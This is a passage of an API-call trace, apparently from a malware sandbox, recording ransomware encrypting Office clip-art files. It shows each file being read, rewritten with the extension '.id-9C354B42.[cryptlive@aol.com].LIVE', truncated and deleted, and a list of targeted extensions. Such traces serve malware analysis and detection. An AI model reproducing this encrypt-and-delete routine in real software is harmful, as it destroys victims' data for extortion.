lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.759] SetEndOfFile (hFile=0x3d4) returned 1 [0148.759] CloseHandle (hObject=0x3d4) returned 1 [0148.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.759] SetEndOfFile (hFile=0x384) returned 1 [0148.761] CloseHandle (hObject=0x384) returned 1 [0148.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.762] lstrlenW (lpString=".doc") returned 4 [0148.762] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.762] lstrlenW (lpString=".docx") returned 5 [0148.763] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0148.763] lstrlenW (lpString=".pdf") returned 4 [0148.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.763] lstrlenW (lpString=".xls") returned 4 [0148.763] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.763] lstrlenW (lpString=".xlsx") returned 5 [0148.763] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0148.763] lstrlenW (lpString=".ppt") returned 4 [0148.763] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.763] lstrlenW (lpString=".zip") returned 4 [0148.763] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.763] lstrlenW (lpString=".rar") returned 4 [0148.763] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.763] lstrlenW (lpString=".bz2") returned 4 [0148.763] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.763] lstrlenW (lpString=".7z") returned 3 [0148.763] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.763] lstrlenW (lpString=".dbf") returned 4 [0148.763] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.763] lstrlenW (lpString=".1cd") returned 4 [0148.763] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.763] lstrlenW (lpString=".jpg") returned 4 [0148.763] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.763] lstrlenW (lpString=".doc") returned 4 [0148.763] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.763] lstrlenW (lpString=".docx") returned 5 [0148.763] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0148.763] lstrlenW (lpString=".pdf") returned 4 [0148.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.763] lstrlenW (lpString=".xls") returned 4 [0148.764] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.764] lstrlenW (lpString=".xlsx") returned 5 [0148.764] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0148.764] lstrlenW (lpString=".ppt") returned 4 [0148.764] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.764] lstrlenW (lpString=".zip") returned 4 [0148.764] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.764] lstrlenW (lpString=".rar") returned 4 [0148.764] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.764] lstrlenW (lpString=".bz2") returned 4 [0148.764] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.764] lstrlenW (lpString=".7z") returned 3 [0148.764] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.764] lstrlenW (lpString=".dbf") returned 4 [0148.764] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.764] lstrlenW (lpString=".1cd") returned 4 [0148.764] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0148.764] lstrlenW (lpString=".jpg") returned 4 [0148.764] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.764] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.764] lstrlenW (lpString="J0099163.WMF") returned 12 [0148.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.765] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=22356) returned 1 [0148.765] CloseHandle (hObject=0x384) returned 1 [0148.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0148.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.765] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.765] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.766] GetLastError () returned 0x0 [0148.766] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5754, lpOverlapped=0x0) returned 1 [0148.768] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5760, lpOverlapped=0x0) returned 1 [0148.769] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.769] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.769] SetEndOfFile (hFile=0x3d4) returned 1 [0148.770] CloseHandle (hObject=0x3d4) returned 1 [0148.770] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.770] SetEndOfFile (hFile=0x384) returned 1 [0148.775] CloseHandle (hObject=0x384) returned 1 [0148.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0148.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.776] lstrlenW (lpString=".doc") returned 4 [0148.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString=".docx") returned 5 [0148.776] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0148.776] lstrlenW (lpString=".pdf") returned 4 [0148.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString=".xls") returned 4 [0148.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.776] lstrlenW (lpString=".xlsx") returned 5 [0148.776] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0148.776] lstrlenW (lpString=".ppt") returned 4 [0148.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.776] lstrlenW (lpString=".zip") returned 4 [0148.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.776] lstrlenW (lpString=".rar") returned 4 [0148.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString=".bz2") returned 4 [0148.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString=".7z") returned 3 [0148.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.776] lstrlenW (lpString=".dbf") returned 4 [0148.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.776] lstrlenW (lpString=".1cd") returned 4 [0148.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.776] lstrlenW (lpString=".jpg") returned 4 [0148.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.777] lstrlenW (lpString=".doc") returned 4 [0148.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString=".docx") returned 5 [0148.777] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0148.777] lstrlenW (lpString=".pdf") returned 4 [0148.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString=".xls") returned 4 [0148.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.777] lstrlenW (lpString=".xlsx") returned 5 [0148.777] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0148.777] lstrlenW (lpString=".ppt") returned 4 [0148.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.777] lstrlenW (lpString=".zip") returned 4 [0148.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.777] lstrlenW (lpString=".rar") returned 4 [0148.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString=".bz2") returned 4 [0148.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString=".7z") returned 3 [0148.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.777] lstrlenW (lpString=".dbf") returned 4 [0148.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.777] lstrlenW (lpString=".1cd") returned 4 [0148.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0148.777] lstrlenW (lpString=".jpg") returned 4 [0148.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.777] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.778] lstrlenW (lpString="J0099164.WMF") returned 12 [0148.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.779] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=21946) returned 1 [0148.779] CloseHandle (hObject=0x384) returned 1 [0148.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0148.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.779] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.779] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.780] GetLastError () returned 0x0 [0148.780] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x55ba, lpOverlapped=0x0) returned 1 [0148.782] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x55c0, lpOverlapped=0x0) returned 1 [0148.783] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.783] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.784] SetEndOfFile (hFile=0x3d4) returned 1 [0148.784] CloseHandle (hObject=0x3d4) returned 1 [0148.784] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.784] SetEndOfFile (hFile=0x384) returned 1 [0148.786] CloseHandle (hObject=0x384) returned 1 [0148.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0148.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.787] lstrlenW (lpString=".doc") returned 4 [0148.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.787] lstrlenW (lpString=".docx") returned 5 [0148.787] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0148.787] lstrlenW (lpString=".pdf") returned 4 [0148.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.787] lstrlenW (lpString=".xls") returned 4 [0148.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.787] lstrlenW (lpString=".xlsx") returned 5 [0148.787] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0148.787] lstrlenW (lpString=".ppt") returned 4 [0148.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.787] lstrlenW (lpString=".zip") returned 4 [0148.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.787] lstrlenW (lpString=".rar") returned 4 [0148.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString=".bz2") returned 4 [0148.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString=".7z") returned 3 [0148.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.788] lstrlenW (lpString=".dbf") returned 4 [0148.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.788] lstrlenW (lpString=".1cd") returned 4 [0148.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.788] lstrlenW (lpString=".jpg") returned 4 [0148.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.788] lstrlenW (lpString=".doc") returned 4 [0148.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString=".docx") returned 5 [0148.788] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0148.788] lstrlenW (lpString=".pdf") returned 4 [0148.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString=".xls") returned 4 [0148.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.788] lstrlenW (lpString=".xlsx") returned 5 [0148.788] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0148.788] lstrlenW (lpString=".ppt") returned 4 [0148.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.788] lstrlenW (lpString=".zip") returned 4 [0148.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.788] lstrlenW (lpString=".rar") returned 4 [0148.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.789] lstrlenW (lpString=".bz2") returned 4 [0148.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.789] lstrlenW (lpString=".7z") returned 3 [0148.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.789] lstrlenW (lpString=".dbf") returned 4 [0148.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.789] lstrlenW (lpString=".1cd") returned 4 [0148.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0148.789] lstrlenW (lpString=".jpg") returned 4 [0148.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.789] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.789] lstrlenW (lpString="J0099165.JPG") returned 12 [0148.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.789] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=50490) returned 1 [0148.790] CloseHandle (hObject=0x384) returned 1 [0148.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0148.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.790] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.790] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.791] GetLastError () returned 0x0 [0148.791] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xc53a, lpOverlapped=0x0) returned 1 [0148.793] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xc540, lpOverlapped=0x0) returned 1 [0148.794] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.795] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.795] SetEndOfFile (hFile=0x3d4) returned 1 [0148.795] CloseHandle (hObject=0x3d4) returned 1 [0148.795] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.795] SetEndOfFile (hFile=0x384) returned 1 [0148.800] CloseHandle (hObject=0x384) returned 1 [0148.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0148.801] 